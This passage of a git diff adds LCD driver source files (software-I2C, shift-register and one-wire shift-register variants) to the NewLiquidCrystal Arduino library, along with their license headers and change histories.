The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// Adapted to SoftIC2 by Adrian Piccioli - adrianpiccioli@gmail.com +// --------------------------------------------------------------------------- +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include +#include "SI2CIO.h" +#include "LiquidCrystal_SI2C.h" + +// CONSTANT definitions +// --------------------------------------------------------------------------- + +// flags for backlight control +/*! + @defined + @abstract LCD_NOBACKLIGHT + @discussion NO BACKLIGHT MASK + */ +#define LCD_NOBACKLIGHT 0x00 + +/*! + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on + */ +#define LCD_BACKLIGHT 0xFF + + +// Default library configuration parameters used by class constructor with +// only the I2C address field. +// --------------------------------------------------------------------------- +/*! + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Enable + */ +#define EN 6 // Enable bit + +/*! + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Rw pin + */ +#define RW 5 // Read/Write bit + +/*! + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Register select pin + */ +#define RS 4 // Register select bit + +/*! + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module + */ +#define D4 0 +#define D5 1 +#define D6 2 +#define D7 3 + + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +LiquidCrystal_SI2C::LiquidCrystal_SI2C( uint8_t lcd_Addr ) +{ + config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7); +} + + +LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t backlighPin, + t_backlighPol pol = POSITIVE) +{ + config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs) +{ + config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7); +} + +LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t backlighPin, + t_backlighPol pol = POSITIVE) +{ + config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t d4, uint8_t d5, + uint8_t d6, uint8_t d7 ) +{ + config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7); +} + +LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t d4, uint8_t d5, + uint8_t d6, uint8_t d7, uint8_t backlighPin, + t_backlighPol pol = POSITIVE ) +{ + config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7); + setBacklightPin(backlighPin, pol); +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +// +// begin +void LiquidCrystal_SI2C::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) +{ + + init(); // Initialise the I2C expander interface + LCD::begin ( cols, lines, dotsize ); +} + + +// User commands - users can expand this section +//---------------------------------------------------------------------------- +// Turn the (optional) backlight off/on + +// +// setBacklightPin +void LiquidCrystal_SI2C::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE ) +{ + _backlightPinMask = ( 1 << value ); + _polarity = pol; + setBacklight(BACKLIGHT_OFF); +} + +// +// setBacklight +void LiquidCrystal_SI2C::setBacklight( uint8_t value ) +{ + // Check if backlight is available + // ---------------------------------------------------- + if ( _backlightPinMask != 0x0 ) + { + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if (((_polarity == POSITIVE) && (value > 0)) || + ((_polarity == NEGATIVE ) && ( value == 0 ))) + { + _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT; + } + else + { + _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT; + } + _i2cio.write( _backlightStsMask ); + } +} + + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +int LiquidCrystal_SI2C::init() +{ + int status = 0; + + // initialize the backpack IO expander + // and display functions. + // ------------------------------------------------------------------------ + if ( _i2cio.begin ( _Addr ) == 1 ) + { + _i2cio.portMode ( OUTPUT ); // Set the entire IO extender to OUTPUT + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + status = 1; + _i2cio.write(0); // Set the entire port to LOW + } + return ( status ); +} + +// +// config +void LiquidCrystal_SI2C::config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ) +{ + _Addr = lcd_Addr; + + _backlightPinMask = 0; + _backlightStsMask = LCD_NOBACKLIGHT; + _polarity = POSITIVE; + + _En = ( 1 << En ); + _Rw = ( 1 << Rw ); + _Rs = ( 1 << Rs ); + + // Initialise pin mapping + _data_pins[0] = ( 1 << d4 ); + _data_pins[1] = ( 1 << d5 ); + _data_pins[2] = ( 1 << d6 ); + _data_pins[3] = ( 1 << d7 ); +} + + + +// low level data pushing commands +//---------------------------------------------------------------------------- + +// +// send - write either command or data +void LiquidCrystal_SI2C::send(uint8_t value, uint8_t mode) +{ + // No need to use the delay routines since the time taken to write takes + // longer that what is needed both for toggling and enable pin an to execute + // the command. + + if ( mode == FOUR_BITS ) + { + write4bits( (value & 0x0F), COMMAND ); + } + else + { + write4bits( (value >> 4), mode ); + write4bits( (value & 0x0F), mode); + } +} + +// +// write4bits +void LiquidCrystal_SI2C::write4bits ( uint8_t value, uint8_t mode ) +{ + uint8_t pinMapValue = 0; + + // Map the value to LCD pin mapping + // -------------------------------- + for ( uint8_t i = 0; i < 4; i++ ) + { + if ( ( value & 0x1 ) == 1 ) + { + pinMapValue |= _data_pins[i]; + } + value = ( value >> 1 ); + } + + // Is it a command or data + // ----------------------- + if ( mode == DATA ) + { + mode = _Rs; + } + + pinMapValue |= mode | _backlightStsMask; + pulseEnable ( pinMapValue ); +} + +// +// pulseEnable +void LiquidCrystal_SI2C::pulseEnable (uint8_t data) +{ + _i2cio.write (data | _En); // En HIGH + _i2cio.write (data & ~_En); // En LOW +} \ No newline at end of file diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SI2C.h b/libraries/NewliquidCrystal/LiquidCrystal_SI2C.h new file mode 100644 index 0000000..a8547be --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SI2C.h @@ -0,0 +1,207 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_I2C.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using an I2C IO extension board and software I2C. +// It will use digital pins 6 and 7 for SCL and SDA, but it can be changed +// in SI2CIO.cpp to use other pins if needed. + +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// Adapted to SoftIC2 by Adrian Piccioli - adrianpiccioli@gmail.com +// --------------------------------------------------------------------------- +#ifndef LiquidCrystal_SI2C_h +#define LiquidCrystal_SI2C_h +#include +#include + +#include "SI2CIO.h" +#include "LCD.h" + + +class LiquidCrystal_SI2C : public LCD +{ +public: + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + */ + LiquidCrystal_SI2C (uint8_t lcd_Addr); + // Constructor with backlight control + LiquidCrystal_SI2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + */ + LiquidCrystal_SI2C( uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs); + // Constructor with backlight control + LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module + */ + LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + // Constructor with backlight control + LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlighPin, t_backlighPol pol); + /*! + @function + @abstract LCD initialization and associated HW. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class or parent class. + + The begin method can be overloaded if necessary to initialize any HW that + is implemented by a library and can't be done during construction, here + we use the Wire class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. + */ + virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. + */ + void setBacklightPin ( uint8_t value, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. + */ + int init(); + + /*! + @function + @abstract Initialises class private variables + @discussion This is the class single point for initialising private variables. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module + */ + void config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + + /*! + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. + */ + void write4bits(uint8_t value, uint8_t mode); + + /*! + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. + */ + void pulseEnable(uint8_t); + + + uint8_t _Addr; // I2C Address of the IO expander + uint8_t _backlightPinMask; // Backlight IO pin mask + uint8_t _backlightStsMask; // Backlight status mask + SI2CIO _i2cio; // I2CIO PCF8574* expansion module driver I2CLCDextraIO + uint8_t _En; // LCD expander word for enable pin + uint8_t _Rw; // LCD expander word for R/W pin + uint8_t _Rs; // LCD expander word for Register Select pin + uint8_t _data_pins[4]; // LCD data lines + +}; + +#endif diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR.cpp b/libraries/NewliquidCrystal/LiquidCrystal_SR.cpp new file mode 100644 index 0000000..a966caa --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR.cpp @@ -0,0 +1,209 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR.h +// Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit +// ShiftRegister (SR from now on). +// +// @brief +// This is a port of the ShiftRegLCD library from raron and ported to the +// LCD library. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library and can +// be used as such. +// +// Modified to work serially with the shiftOut() function, an 8-bit +// unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out) +// shift register (IE a very simple SR), and an LCD in 4-bit mode. +// Any such shift register should do (pref. 74LS family IC's for 2-wire). +// I used 74LS164, for the reason that's what I had at hand. +// +// Connection description: +// +// SR output: +// Bit #0 - N/C - not connected, used to hold a zero +// Bit #1 - N/C +// Bit #2 - connects to RS (Register Select) on the LCD +// Bits #3-6 - connects to LCD data inputs D4 - D7. +// Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate") +// +// 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable +// If not using Enable, the Data pin is used for the enable signal by defining +// the same pin for Enable as for Data. Data and Clock outputs/pins goes to +// the shiftregister. +// LCD RW-pin hardwired to LOW (only writing to LCD). +// Busy Flag (BF, data bit D7) is not read. +// +// Original project homepage: http://code.google.com/p/arduinoshiftreglcd/ +// +// +// History +// 2012.03.29 bperrybap - Added delays for faster fio shiftout (it got too fast) +// AVR needed delay. cmd/write delays are based on CPU speed so it works on pic32. +// Added code to support indicating two wire mode by using enable=data pin +// (documentation indicated this as working) +// Fixed incorrect use of 5x10 for default font - now matches original LQ library. +// can now eliminate enable pin in constructor for two wire mode. +// 2012.01.16 Florian Fida - faster digitalWrite/shiftOut +// 2011.10.29 fmalpartida - adaption of the library to the LCD class hierarchy. +// 2011.07.02 Fixed a minor flaw in setCursor function. No functional change, +// just a bit more memory efficient. +// Thanks to CapnBry (from google code and github) who noticed it. +// URL to his version of shiftregLCD: +// https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1 +// 2009.07.30 raron - minor corrections to the comments. +// Fixed timing to datasheet safe. Fixed keyword highlights. +// 2009.07.28 Mircho / raron - a new modification to the schematics, and a +// more streamlined interface +// 2009.07.27 Thanks to an excellent suggestion from mircho at the Arduino +// playgrond forum, the number of wires now required is only two! +// 2009.07.25 raron - Fixed comments. I really messed up the comments before +// posting this, so I had to fix it. +// Renamed a function, but no improvements or functional changes. +// 2009.07.23 Incorporated some proper initialization routines +// inspired (lets say copy-paste-tweaked) from LiquidCrystal +// library improvements from LadyAda. +// 2009.05.23 raron - first version, but based mostly (as in almost verbatim) +// on the "official" LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include "LiquidCrystal_SR.h" + +#include "FastIO.h" + + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +// Assuming 1 line 8 pixel high font +LiquidCrystal_SR::LiquidCrystal_SR (uint8_t srdata, uint8_t srclock, + uint8_t enable ) +{ + init ( srdata, srclock, enable, 1, 0 ); +} + + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +void LiquidCrystal_SR::init(uint8_t srdata, uint8_t srclock, uint8_t enable, + uint8_t lines, uint8_t font) +{ + // Initialise private variables + _two_wire = 0; + + _srDataRegister = fio_pinToOutputRegister(srdata); + _srDataBit = fio_pinToBit(srdata); + _srClockRegister = fio_pinToOutputRegister(srclock); + _srClockBit = fio_pinToBit(srclock); + + if ((enable == TWO_WIRE) || (enable == srdata)) + { + _two_wire = 1; + _srEnableRegister = _srDataRegister; + _srEnableBit = _srDataBit; + } + else + { + _srEnableRegister = fio_pinToOutputRegister(enable); + _srEnableBit = fio_pinToBit(enable); + } + + // Configure control pins as outputs + // ------------------------------------------------------------------------ + + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; +} + +// +// shiftIt +void LiquidCrystal_SR::shiftIt(uint8_t val) +{ + if (_two_wire) + { + // Clear to get Enable LOW + fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit); + } + fio_shiftOut(_srDataRegister, _srDataBit, _srClockRegister, _srClockBit, val, MSBFIRST); + + // LCD ENABLE PULSE + // + // While this library is written with a shift register without an output + // latch in mind, it can work in 3-wire mode with a shiftregister with a + // latch. The shiftregister latch pin (STR, RCL or similar) is then + // connected to the LCD enable pin. The LCD is (very likely) slower + // to read the Enable pulse, and then reads the new contents of the SR. + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(_srEnableRegister, _srEnableBit); + delayMicroseconds (1); // enable pulse must be >450ns + fio_digitalWrite_SWITCHTO(_srEnableRegister, _srEnableBit, LOW); + } // end critical section +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + + +/************ low level data pushing commands **********/ +// +// send +void LiquidCrystal_SR::send(uint8_t value, uint8_t mode) +{ + // Divide byte in two nibbles include the RS signal + // and format it for shiftregister output wiring to the LCD + // We are only interested in my COMMAND or DATA for myMode + uint8_t myMode = ( mode == DATA ) ? SR_RS_BIT : 0; // RS bit; LOW: command. HIGH: character. + + if ( mode != FOUR_BITS ) + { + shiftIt(myMode | SR_EN_BIT | ((value >> 1) & 0x78)); // upper nibble + } + + shiftIt(myMode | SR_EN_BIT | ((value << 3) & 0x78)); // lower nibble + /* + * Add some delay since this code is so fast it needs some added delay + * even on AVRs because the shiftout is shorter than the LCD command execution time. + */ +#if (F_CPU <= 16000000) + if(_two_wire) + delayMicroseconds ( 10 ); + else + delayMicroseconds ( 17 ); // 3 wire mode is faster so it must delay longer +#else + delayMicroseconds ( 37 ); // commands & data writes need > 37us to complete +#endif + +} + +// +// setBacklightPin +void LiquidCrystal_SR::setBacklightPin ( uint8_t pin, t_backlighPol pol ) +{ } + +// +// setBacklight +void LiquidCrystal_SR::setBacklight ( uint8_t mode ) +{ } + diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR.h b/libraries/NewliquidCrystal/LiquidCrystal_SR.h new file mode 100644 index 0000000..0d22022 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR.h @@ -0,0 +1,176 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR.h +// Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit +// ShiftRegister (SR from now on). +// +// @brief +// This is a port of the ShiftRegLCD library from raron and ported to the +// LCD library. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library and can +// be used as such. +// +// Modified to work serially with the shiftOut() function, an 8-bit +// unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out) +// shift register (IE a very simple SR), and an LCD in 4-bit mode. +// Any such shift register should do (pref. 74LS family IC's for 2-wire). +// I used 74LS164, for the reason that's what I had at hand. +// +// Connection description: +// +// SR output: +// Bit #0 - N/C - not connected, used to hold a zero +// Bit #1 - N/C +// Bit #2 - connects to RS (Register Select) on the LCD +// Bits #3-6 - connects to LCD data inputs D4 - D7. +// Bit #7 - enables the LCD enable-puls (via the diode-resistor AND "gate") +// +// 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable +// If not using Enable, the Data pin will be used for the enable signal. +// 2 wire mode can be indicated by: +// - ommitting the enable pin in constructor +// - defining the same pin for Enable as for Data in constructor +// - by using the token TWO_WIRE for the enable pin. +// +// Data and Clock outputs/pins goes to the shiftregister. +// LCD RW-pin hardwired to LOW (only writing to LCD). +// Busy Flag (BF, data bit D7) is not read. +// +// Original project homepage: http://code.google.com/p/arduinoshiftreglcd/ +// +// +// History +// 2012.03.29 bperrybap - can now eliminate enable pin in constructor for two wire mode. +// 2011.10.29 fmalpartida - adaption of the library to the LCD class hierarchy. +// 2011.07.02 Fixed a minor flaw in setCursor function. No functional change, +// just a bit more memory efficient. +// Thanks to CapnBry (from google code and github) who noticed it. +// URL to his version of shiftregLCD: +// https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1 +// 2009.07.30 raron - minor corrections to the comments. +// Fixed timing to datasheet safe. Fixed keyword highlights. +// 2009.07.28 Mircho / raron - a new modification to the schematics, and a +// more streamlined interface +// 2009.07.27 Thanks to an excellent suggestion from mircho at the Arduiono +// playgrond forum, the number of wires now required is only two! +// 2009.07.25 raron - Fixed comments. I really messed up the comments before +// posting this, so I had to fix it. +// Renamed a function, but no improvements or functional changes. +// 2009.07.23 Incorporated some proper initialization routines +// inspired (lets say copy-paste-tweaked) from LiquidCrystal +// library improvements from LadyAda. +// 2009.05.23 raron - first version, but based mostly (as in almost verbatim) +// on the "official" LiquidCrystal library. +// +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef _LIQUIDCRYSTAL_SR_ +#define _LIQUIDCRYSTAL_SR_ + +#include +#include "LCD.h" +#include "FastIO.h" + + +// two-wire indicator constant +// --------------------------------------------------------------------------- +#define TWO_WIRE 204 +#define SR_RS_BIT 0x04 +#define SR_EN_BIT 0x80 + +class LiquidCrystal_SR : public LCD +{ +public: + /*! + @method + @abstract LCD SHIFT REGISTER constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] pin for shiftregister data line. + @param srclock[in] pin for shiftregister clock line. + @param enable[in] optional direct enable pin for the LCD + */ + LiquidCrystal_SR ( uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE ); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + @warning Currently not supported + + @param mode: backlight mode (HIGH|LOW) + @param pol: backlight polarity + */ + void setBacklightPin ( uint8_t pin, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t mode ); + +private: + + /*! + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. + */ + void init ( uint8_t srdata, uint8_t srclock, uint8_t enable, uint8_t lines, + uint8_t font ); + + /*! + * @method + * @abstract takes care of shifting and the enable pulse + */ + void shiftIt (uint8_t val); + + uint8_t _enable_pin; // Enable Pin + uint8_t _two_wire; // two wire mode + + fio_register _srDataRegister; // Serial Data pin + fio_bit _srDataBit; + fio_register _srClockRegister; // Clock Pin + fio_bit _srClockBit; + fio_register _srEnableRegister; // Enable Pin + fio_bit _srEnableBit; + +}; + +#endif + diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SR1W.cpp b/libraries/NewliquidCrystal/LiquidCrystal_SR1W.cpp new file mode 100644 index 0000000..f32ef70 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SR1W.cpp @@ -0,0 +1,252 @@ +// --------------------------------------------------------------------------- +// Created/Adapted by Stephen Erisman 2013-07-06 +// Copyright 2013 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SR1W.cpp +// Connects a hd44780 LCD using 1 pin from the Arduino, via an 8-bit Latching +// ShiftRegister (SR1W from now on). +// +// @brief +// This is an optimized implementation of the 1-wire shift concept developed by +// Roman Black (http://www.romanblack.com/shift1.htm) that also makes use of +// (and merges) the diode-resistor AND "gate" concept (http://www.rentron.com/Myke1.htm) +// as well as introducing some new and original ideas (particularly how HW_CLEAR works). +// +// +// See the corresponding SR1W header file for full details. +// +// History +// 2013.07.31 serisman - fixed potential interrupt bug and made more performance optimizations +// 2013.07.10 serisman - more performance optimizations and modified the HW_CLEAR circuit a bit +// 2013.07.09 serisman - added an even faster version that performs the clear in hardware +// 2013.07.08 serisman - changed code to shift data MSB first to match SR2W +// 2013.07.07 serisman - major speed optimization +// 2013.07.06 serisman - created/modified from SR2W and FastIO sources to create SR1W +// @author S. Erisman - arduino@serisman.com +// --------------------------------------------------------------------------- + +#include "LiquidCrystal_SR1W.h" + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +// Assuming 1 line 8 pixel high font +LiquidCrystal_SR1W::LiquidCrystal_SR1W (uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol) +{ + init ( srdata, circuitType, blpol, 1, 0 ); +} + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +void LiquidCrystal_SR1W::init(uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol, uint8_t lines, uint8_t font) +{ + _srRegister = fio_pinToOutputRegister(srdata); + _srMask = fio_pinToBit(srdata); + + _circuitType = circuitType; + + _blPolarity = blpol; + + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + + clearSR(); + + backlight(); // set default backlight state to on +} + +// +// clearSR +uint8_t LiquidCrystal_SR1W::clearSR() +{ + uint8_t numDelays = 0; + + // Store these as local variables for extra performance (and smaller compiled sketch size) + fio_register srRegister = _srRegister; + fio_bit srMask = _srMask; + + // Set the Serial PIN to a LOW state + SR1W_ATOMIC_WRITE_LOW(srRegister, srMask); + + // We need to delay to make sure the Data and Latch/EN capacitors are fully discharged + // This also triggers the EN pin because of the falling edge. + SR1W_DELAY(); + + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // Pre-calculate these values for extra performance and to make sure the clock pulse is as quick as possible + fio_bit reg_val = *srRegister; + fio_bit bit_low = reg_val & ~srMask; + fio_bit bit_high = reg_val | srMask; + + // Clear the shift register (without triggering the Latch/EN pins) + // We only need to shift 7 bits here because the subsequent HIGH transistion will also shift a '0' in. + for (int8_t i = 6; i>=0; i--) + { + // Shift in a '0' (NOTE: This clock pulse needs to execute as quickly as possible) + *srRegister = bit_high; + *srRegister = bit_low; + } + + // Set the Serial PIN to a HIGH state so the next nibble/byte can be loaded + // This also shifts the 8th '0' bit in. + *srRegister = bit_high; + } + + // Give the Data capacitor a chance to fully charge + SR1W_DELAY(); + + return numDelays; +} + +// +// loadSR +uint8_t LiquidCrystal_SR1W::loadSR(uint8_t val) +{ + uint8_t numDelays = 0; + + // Store these as local variables for extra performance (and smaller compiled sketch size) + fio_register srRegister = _srRegister; + fio_bit srMask = _srMask; + + // NOTE: This assumes the Serial PIN is already HIGH and the Data capacitor is fully charged + uint8_t previousBit = 1; + + // Send the data to the shift register (MSB first) + for (int8_t i = 7; i>=0; i--) + { + if (val & 0x80) + { + if (previousBit == 0) + { + // We need to make sure the Data capacitor has fully recharged + SR1W_DELAY(); + } + + previousBit = 1; + + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // Pre-calculate these values to make sure the clock pulse is as quick as possible + fio_bit reg_val = *srRegister; + fio_bit bit_low = reg_val & ~srMask; + fio_bit bit_high = reg_val | srMask; + + // Shift in a '1' (NOTE: This clock pulse needs to execute as quickly as possible) + *srRegister = bit_low; + *srRegister = bit_high; + } + } + else + { + // Shift in a '0' + SR1W_ATOMIC_WRITE_LOW(srRegister, srMask); + + // We need to make sure the Data capacitor has fully discharged + SR1W_DELAY(); + + previousBit = 0; + + SR1W_ATOMIC_WRITE_HIGH(srRegister, srMask); + } + val <<= 1; + } + + // NOTE: Serial PIN is currently HIGH + + // For SW_CLEAR, we need to delay to make sure the Latch/EN capacitor is fully charged. + // This triggers the Latch pin because of the rising edge. + // For HW_CLEAR, we need to delay to give the hardware time to perform the clear. + // This also gives the Data capacitor a 